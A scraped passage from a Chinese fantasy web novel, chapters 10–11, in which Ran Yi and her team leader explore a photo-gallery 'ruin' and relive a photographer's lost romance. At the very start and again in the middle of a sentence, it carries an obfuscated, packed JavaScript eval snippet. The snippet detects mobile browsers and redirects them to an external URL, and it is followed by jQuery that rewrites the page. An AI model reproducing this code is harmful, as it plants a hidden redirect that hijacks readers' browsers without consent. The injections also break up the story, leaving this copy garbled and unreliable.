;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468418|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 构图的作品中显得过于清秀朴素。照片上的风景是烟雨朦胧的江南水乡，白墙黛瓦在细雨中如同点墨，轻舟曳过划出一道浅浅的水痕。 冉亦却唯独在这张照片前驻足站定。 见她盯着这张照片看，霍昀骁侧头问：“你觉得它有什么不一样吗？” “暂时还没发现特别的地方，但我觉得不对劲。”冉亦说：“我觉得这张照片可能有点问题。” 霍昀骁点点头。他一直不曾吝啬对她头脑的夸赞，这次他也没卖关子——当然，他也完全没有在这儿故弄玄虚的必要。 “你很敏锐。不错，在这一排近百张照片里，有问题的就是这张图。” 霍昀骁的回应肯定了她的直觉。 接下来的几分钟，冉亦专注地观察着这幅照片，时不时又来回走动，去看和对比其他的图片。而他则始终保持着沉默，既不提醒也不打扰。 她有多专心，他就多有耐心。 就这么过了几分钟、十几分钟——甚至可能已经有了半小时。 “影子。” 突然，冉亦开口：“是影子。” 在这张照片里，清澈的溪流倒影虽然模糊，但依然能够隐约辨认出伴随着朦胧的风景，一个小小的的影子倒映在角落。从角度分析，这个影子就来自视线方向的脚下——也就是摄影师本人。 “这是他所有摄影作品里，唯一一张有他本人出镜了的照片——尽管只是一个影子。” “嗯。”霍昀骁轻声指导道：“你现在低头，看看脚下。” 冉亦低头，这才发现他们的脚下竟然有一个又一个的格子，就像铺的大理石地砖一样，只不过这些格子非常规整，每一个都正好精准对应到一副照片。 “一旦你在其他任何一张照片前停留超过5分钟，这副照片下对应的格子就会坍塌，你就会掉下去，进入画中的世界。你必须重新找到出口才能回来，而有些照片中的场景很惊险，稍有不慎就可能迷失。” 霍昀骁向冉亦解释道：“我不像你这么敏锐，一下子就看出了这张照片有特别之处。当时我进来以后，面对这一排旅行照片的场景，一直在琢磨这里的逻辑是什么。我小心翼翼地观察每一张照片，无意间在一副海浪的照片前停留了过长，紧接着就掉了下去，陷入了海浪中。那是真的海水，冰凉的窒息的感觉都是如此真实。万幸的是我会游泳，几番波折之后还是回到了眼前的照片廊里。” 冉亦听罢不由得倒吸一口凉气，她不会游泳，如果是她倒霉地掉进了有水的照片里，可能就玩完了。难怪这个遗址会被评级为S级，这么看真的很危险。 当然，现在的她不管怎样都是安全的，因为这已经不再是会释放真实污染影响的遗址，而是已经被收容的子房间，相当于一场已经剪辑完成的胶片电影，整个“回放权”都牢牢掌控在房间主人霍昀骁手里。 “你一下子就找到了正确的这张照片，还是很厉害的。”霍昀骁继续说：“就是这张照片里藏着宿主的执念。所以我们下一步，就是解开这张照片背后的谜团。你再仔细看看照片中的影子。” 冉亦凑近了，仔细去辨认那张烟雨江南美景中的模糊人影。 “好像……好像是两个人？” 11. 第 11 章 那是两个人的影子。 宿主在拍这张照片的时候，他的身边……还有另一个人？ 还没来得及更进一步思索，熟悉的眩晕感接踵而至，而紧随其后的就是身边扬起的阵阵微风，仿佛将她带入了不知哪位文人墨客笔下的梦里水乡。 簌簌雨声裹挟着一抹凉意，像丝丝愁绪嵌入水面，又转瞬被冰冷的激流冲散。 唯有小船轻晃，继续沿着河水顺流而下。 冉亦进入了这张照片的场景。她左右观望，发现霍昀骁已不在她身边。他让她一个人进来了。 “阿湘。” 突然，陌生的男声从正前方传来，冉亦抬头，正对上一双深邃的眸子。 这是一位留着微卷长发的男人，约莫三十多岁，典型的文艺青年长相，有着深邃的眉眼和自带忧郁感的眼神，胸口挂着一个看起来很高级的相机。他对着冉亦端起相机，似乎是想拍她，但随即又放了下来，整个人也愣了一下，好像在震惊自己刚刚那一瞬近乎本能的举动。 “抱歉。”他说，“我记得你说过不喜欢拍照。” 冉亦明白了，自己现在的角色是男人口中的“阿湘”。她下意识对外侧探了下头，想以水面为镜看一眼自己现在大概是个什么形象，可水面上却只有一片模模糊糊，什么都看不清。冉亦收回了身子，就在同一时刻旁边响起了快门的“咔嚓”声。 “哈，我拍的是景。”他似乎是有意在强调“我刚刚绝对没有偷拍你”，还特意将照片递给她看，“不信你看。” 冉亦配合地过去看了一眼他刚刚拍下的照片——就是照片廊里那张最特别的照片，虽然乍一看只有风景，可角落的水影里却出现了他们两个模糊的轮廓。 那是一张属于他和她的倒影合影。 接下来，冉亦扮演着阿湘的角色，与摄影师——不，应该说是遗址的宿主，和他一起泛舟而游。期间他收起了相机，没再继续拍照，而是一直在和她聊天。说是聊天其实不准确，因为冉亦并不说话，这个场景更像是影片删除了某一个角色的戏份后依然保留了和她对戏演员的台词，于是显得对方似乎是在自说自话。 刚开始的时候，他对她讲起他从前旅行中遇到的人和事，这在冉亦的意料之中，毕竟那就是他最热爱的事情。不过这个话题却并没有持续很久，他只是简单说了寥寥几句，就反过来将话题的中心转向了对面的人。他问她是不是从小就住在这个镇子上，问她喜欢吃什么，问她如果以后有机会旅行的话想去哪里。 冉亦无法得知这个叫阿香的姑娘的回答，就像她无法看到她长什么样子一样。但她猜她多半是很美的，因为他能从宿主的眸子中感受到光亮，那一刻他似乎完全没有想过是不是该维持或塑造一个所谓忧郁文艺的人设，他带着眸底那丝温柔看着她，甚至连话都变少了，更多的时候在认真地倾听。 这个场景让冉亦想到了白鸽街111号遗址，阮晨与林小青一起深夜加班的那些过往，只是那一段更像朴素的电影对白，而眼前的画面则更像生活与艺术交融的诗篇。 不知过了多久，小船停下了，眼前的光线也逐渐黯淡下去，她知道这一小节又即将落幕。她没有动，仍旧维持着坐着的姿势，几秒钟后，世界再次亮起时，她已不在小船上，而是坐正坐在河岸边的一家露天咖啡馆里，而她的对面坐着霍昀骁。 “他是一位早已下定决心终生追求自由与漂泊的旅人。”霍昀骁对冉亦说：“我不知道他全名叫什么，只记得在他的遗址里，大家都叫他阿远。” “人如其名。”冉亦感慨道：“他是注定属于远方的人。” “可属于远方的人也终究会被沿途的风景困住。”霍昀骁示意冉亦看向靠近他们这一侧的围栏，阿远就静静站在那里。 对方看起来似乎更清瘦了些，瘦削的下巴上生出了些凌乱的胡茬。他的头发似乎比之前短了些，但依然是比普通的男生要更长一些的中长发，随意地扎在脑后，两边的鬓角微微卷曲，偶尔随着江面清风微动。他的眼神看上去也更加忧郁了，尽管冉亦知道很多文艺青年喜欢这样“凹造型”，可她能从风中的呼吸真切地感受到弥漫的悲伤，那情绪骗不了人，因为这是他的遗址，也是他曾经鲜活的房间，一个人面对他人可以伪装作秀，却无法欺瞒自己。 “多年以后，故地重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468419|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游，当初那个让他心动的姑娘阿湘已嫁作他人妇。”霍昀骁告诉冉亦，“也许他直到这一刻才真正明白，有些人错过就是一辈子。有些人终其一生都在追寻自由，灵魂早已不知该在何处停泊。” 冉亦喃喃地说：“有时我常常会想，旅行是不是就像时间，当你见证它存在意义的时刻，恰恰也正是它被抛于身后再也无法回溯的时刻。” 她静静看着阿远的背影，直到他的背影逐渐变得模糊，眼前的世界也彻底坍塌。昏暗的光线重新映入眼帘，他们回到了像三维空间下两头都在无线延伸的直线般的照片廊，而正对面的一张照片背景是烟雨中的江南水乡。 照片中，轮廓深邃的长发男人与一名身穿白色连衣裙、面容清秀姣好的姑娘站在一起，男人的眼神中有光，而姑娘笑得如同雨后初绽的栀子花，纯净温柔。 …… 【叮咚——】 【用户冉亦已通过用户霍昀骁的分享，成功收容月星区遗址，吸收率90%，子房间添加成功。】 “吸收率90%，很不错啊。”霍昀骁对这个结果很满意，“现在你应该符合房间系统升级的条件了。” “谢谢队长。”有前辈带就是不一样，想她收容白鸽街111号遗址，废了多少脑细胞，才获得了30单位的雪种生产力，这次霍昀骁带着她就像过了一遍电影一样，居然就直接白嫖到了90，这天差地别的结果让冉亦第一次如此真切地认识到了贵人和资源的重要性。 只可惜这种帮带是仅限于1级升2级的新手福利，最多只能享受一次，冉亦现在加上这个子房间后雪种生产力达到了120，符合了升2级标准，到了2级以后就再也不能这样直接抄作业拿分了。 “房间系统从1级升2级，因为会触发隐藏功能解锁，所以可能比较复杂，耗时也会多一些。下午给你放半天假，你回去慢慢弄。” “队长你真是太好了。” 霍昀骁莞尔一笑，没再说别的。二人现在已经退出了霍昀骁的子房间，重新回到了联邦调查部的办公楼，被钢筋水泥层层包围的办公室空间与房中的世界形成了鲜明对比，就像梦醒后回到现实。